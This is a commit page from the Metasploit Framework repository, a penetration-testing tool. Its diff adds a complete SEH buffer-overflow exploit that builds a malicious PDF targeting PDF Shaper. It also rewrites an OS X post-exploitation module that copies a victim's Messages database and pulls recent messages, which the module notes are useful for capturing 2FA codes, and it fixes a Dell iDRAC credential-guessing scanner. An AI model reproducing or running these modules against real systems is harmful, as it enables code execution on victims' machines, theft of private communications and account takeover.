Skip to content

Commit 56505d2

Browse files
wchen-r7wchen-r7
committed
Resolve merge conflict
2 parents c70c370 + b6bb199 commit 56505d2

File tree

5 files changed

+172
-95
lines changed

5 files changed

+172
-95
lines changed

‎lib/msf/core/payload/uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -138,7 +138,7 @@ def self.parse_raw(raw)
138138
raise ArgumentError, "Raw UUID must be at least 16 bytes"
139139
end
140140

141-
puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('A8C4N')
141+
puid, plat_xor, arch_xor, plat_id, arch_id, tstamp = raw.unpack('a8C4N')
142142
plat = find_platform_name(plat_xor ^ plat_id)
143143
arch = find_architecture_name(arch_xor ^ arch_id)
144144
time_xor = [plat_xor, arch_xor, plat_xor, arch_xor].pack('C4').unpack('N').first

‎modules/auxiliary/scanner/http/dell_idrac.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -77,6 +77,7 @@ def do_login(user=nil, pass=nil)
7777
password: pass,
7878
proof: auth.body.to_s
7979
)
80+
return :next_user
8081
else
8182
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
8283
end

‎modules/exploits/windows/fileformat/shaper_pdf_bof.rb

Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::FILEFORMAT
12+
include Msf::Exploit::PDF
13+
include Msf::Exploit::Seh
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'PDF Shaper Buffer Overflow',
18+
'Description' => %q{
19+
PDF Shaper is prone to a security vulnerability when processing PDF files.
20+
The vulnerability appear when we use Convert PDF to Image and use a specially
21+
crafted PDF file. This module has been tested successfully on Win Xp, Win 7,
22+
Win 8, Win 10.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC
28+
'metacom' # MSF Module
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://www.exploit-db.com/exploits/37760/']
33+
],
34+
'DefaultOptions' =>
35+
{
36+
'EXITFUNC' => 'process', # none/process/thread/seh
37+
},
38+
'Platform' => 'win',
39+
'Payload' =>
40+
{
41+
'Space' => 2000,
42+
'DisableNops' => true
43+
},
44+
'Targets' =>
45+
[
46+
['<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5 and v.3.6>',
47+
{
48+
'Ret' => 0x00402AC1, # PDFTools.exe
49+
'Offset' => 433
50+
}
51+
]
52+
],
53+
'Privileged' => false,
54+
'DisclosureDate' => 'Oct 03 2015',
55+
'DefaultTarget' => 0
56+
))
57+
58+
register_options(
59+
[
60+
OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf'])
61+
], self.class
62+
)
63+
end
64+
65+
def exploit
66+
file_create(make_pdf)
67+
end
68+
69+
def jpeg
70+
buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
71+
buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
72+
buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
73+
buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
74+
buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
75+
buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
76+
buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
77+
buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
78+
buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
79+
buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
80+
buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
81+
buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
82+
buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
83+
buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
84+
buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
85+
buffer << rand_text(target['Offset']) # junk
86+
buffer << generate_seh_record(target.ret)
87+
buffer << payload.encoded
88+
buffer << rand_text(2388 - payload.encoded.length)
89+
buffer
90+
end
91+
92+
def make_pdf
93+
@pdf << header
94+
add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")
95+
add_object(2, "<</Type/Outlines>>")
96+
add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")
97+
add_object(4, "[/PDF/Text/ImageC]")
98+
add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")
99+
stream_1 = "stream" << eol
100+
stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
101+
stream_1 << "endstream" << eol
102+
add_object(6, "<</Length 91>>#{stream_1}")
103+
stream = "<<" << eol
104+
stream << "/Width 230" << eol
105+
stream << "/BitsPerComponent 8" << eol
106+
stream << "/Name /X" << eol
107+
stream << "/Height 50" << eol
108+
stream << "/Intent /RelativeColorimetric" << eol
109+
stream << "/Subtype /Image" << eol
110+
stream << "/Filter /DCTDecode" << eol
111+
stream << "/Length #{jpeg.length}" << eol
112+
stream << "/ColorSpace /DeviceCMYK" << eol
113+
stream << "/Type /XObject" << eol
114+
stream << ">>"
115+
stream << "stream" << eol
116+
stream << jpeg << eol
117+
stream << "endstream" << eol
118+
add_object(7, stream)
119+
finish_pdf
120+
end
121+
end

‎modules/payloads/stages/linux/armle/mettle.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -82,6 +82,6 @@ def handle_intermediate_stage(conn, payload)
8282
def generate_stage(opts = {})
8383
opts[:uuid] ||= generate_payload_uuid
8484
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', opts.slice(:uuid, :url, :debug, :log_file)).
85-
to_bininary :process_image
85+
to_binary :process_image
8686
end
8787
end

‎modules/post/osx/gather/enum_messages.rb

Lines changed: 48 additions & 93 deletions
Original file line numberDiff line numberDiff line change
@@ -12,33 +12,65 @@ def initialize(info={})
1212
super(update_info(info,
1313
'Name' => 'OS X Gather Messages',
1414
'Description' => %q{
15-
This module will collect the Messages sqlite3 database files and chat logs
16-
from the victim's machine. There are four actions you may choose: DBFILE,
17-
READABLE, LATEST and ALL. DBFILE and READABLE will retrieve all messages and
18-
LATEST will retrieve the last X number of message (useful with 2FA). Module
19-
was tested with OSX 10.11 (El Capitan).
15+
This module will collect the Messages sqlite3 database files and chat logs
16+
from the victim's machine. There are four actions you may choose: DBFILE,
17+
READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and
18+
LATEST will retrieve the last X number of messages (useful with 2FA). Module
19+
was tested with OS X 10.11 (El Capitan).
2020
},
2121
'License' => MSF_LICENSE,
22-
'Author' => [ 'Geckom <geckom[at]redteamr.com>'],
23-
'Platform' => [ 'osx' ],
24-
'SessionTypes' => [ "meterpreter", "shell" ],
22+
'Author' => ['Geckom <geckom[at]redteamr.com>'],
23+
'Platform' => ['osx'],
24+
'SessionTypes' => ['meterpreter', 'shell'],
2525
'Actions' =>
2626
[
27-
['DBFILE', { 'Description' => 'Collect messages DB file' } ],
28-
['READABLE', { 'Description' => 'Collect messages DB and download in a readable format' } ],
29-
['LATEST', { 'Description' => 'Collect the latest message' } ],
30-
['ALL', { 'Description' => 'Collect all messages data'}]
27+
['DBFILE', 'Description' => 'Collect Messages DB file'],
28+
['READABLE', 'Description' => 'Collect Messages DB and download in a readable format'],
29+
['LATEST', 'Description' => 'Collect the latest message'],
30+
['ALL', 'Description' => 'Collect all Messages data']
3131
],
3232
'DefaultAction' => 'ALL'
3333
))
3434

3535
register_options(
3636
[
3737
OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),
38-
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)', 'CURRENT'])
39-
], self.class)
38+
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)'])
39+
]
40+
)
4041
end
4142

43+
def run
44+
if datastore['USER']
45+
user = datastore['USER']
46+
else
47+
user = cmd_exec('/usr/bin/whoami')
48+
end
49+
50+
# Check file exists
51+
messages_path = "/Users/#{user}/Library/Messages/chat.db"
52+
if file_exist?(messages_path)
53+
print_good("#{peer} - Messages DB found: #{messages_path}")
54+
else
55+
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
56+
end
57+
58+
# Check messages. And then set the default profile path
59+
unless messages_path
60+
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
61+
end
62+
63+
print_good("#{peer} - Found Messages file: #{messages_path}")
64+
65+
files = []
66+
67+
# Download file
68+
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
69+
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
70+
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
71+
72+
save(files)
73+
end
4274

4375
#
4476
# Collect messages db file.
@@ -49,7 +81,6 @@ def get_db(messages_path)
4981
{filename: 'messages.db', mime: 'bin', data: message_data}
5082
end
5183

52-
5384
#
5485
# Generate a readable version of the messages DB
5586
#
@@ -68,7 +99,7 @@ def readable(messages_path)
6899
'ORDER BY m.date;'
69100
]
70101
sql = sql.join(' ')
71-
readable_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'")
102+
readable_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
72103
{filename: 'messages.txt', mime: 'text/plain', data: readable_data}
73104
end
74105

@@ -90,7 +121,7 @@ def latest(messages_path)
90121
"ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"
91122
]
92123
sql = sql.join(' ')
93-
latest_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'")
124+
latest_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
94125
print_good("#{peer} - Latest messages: \n#{latest_data}")
95126
{filename: 'latest.txt', mime: 'text/plain', data: latest_data}
96127
end
@@ -112,80 +143,4 @@ def save(data)
112143
end
113144
end
114145

115-
#
116-
# Return an array or directory names
117-
#
118-
def dir(path)
119-
results = []
120-
subdirs = exec_shell_cmd("ls -l #{path}")
121-
122-
unless subdirs =~ /No such file or directory/
123-
results = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
124-
end
125-
126-
results
127-
end
128-
129-
#
130-
# This is just a wrapper for cmd_exec(), except it chomp() the output,
131-
# and retry under certain conditions.
132-
#
133-
def exec_shell_cmd(cmd)
134-
begin
135-
out = cmd_exec(cmd).chomp
136-
rescue ::Timeout::Error => e
137-
vprint_error("#{peer} - #{e.message} - retrying...")
138-
retry
139-
rescue EOFError => e
140-
vprint_error("#{peer} - #{e.message} - retrying...")
141-
retry
142-
end
143-
end
144-
145-
#
146-
def locate_messages(base)
147-
dir(base).each do |folder|
148-
m = folder.match(/(Messages)$/)
149-
if m
150-
m = m[0].gsub(/\x20/, "\\\\ ") + "/"
151-
return "#{base}#{m}"
152-
end
153-
end
154-
155-
nil
156-
end
157-
158-
def run
159-
if datastore['USER'] == 'CURRENT'
160-
user = exec_shell_cmd("/usr/bin/whoami")
161-
else
162-
user = datastore['USER']
163-
end
164-
165-
# Check file exists
166-
messages_path = "/Users/#{user}/Library/Messages/chat.db"
167-
if file_exist?(messages_path)
168-
print_good("#{peer} - Messages DB found: #{messages_path}")
169-
else
170-
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
171-
end
172-
173-
# Check messages. And then set the default profile path
174-
unless messages_path
175-
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
176-
end
177-
178-
print_good("#{peer} - Found messages file: #{messages_path}")
179-
180-
files = []
181-
182-
# Download file
183-
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
184-
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
185-
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
186-
187-
save(files)
188-
189-
end
190-
191146
end

0 commit comments

Comments
 (0)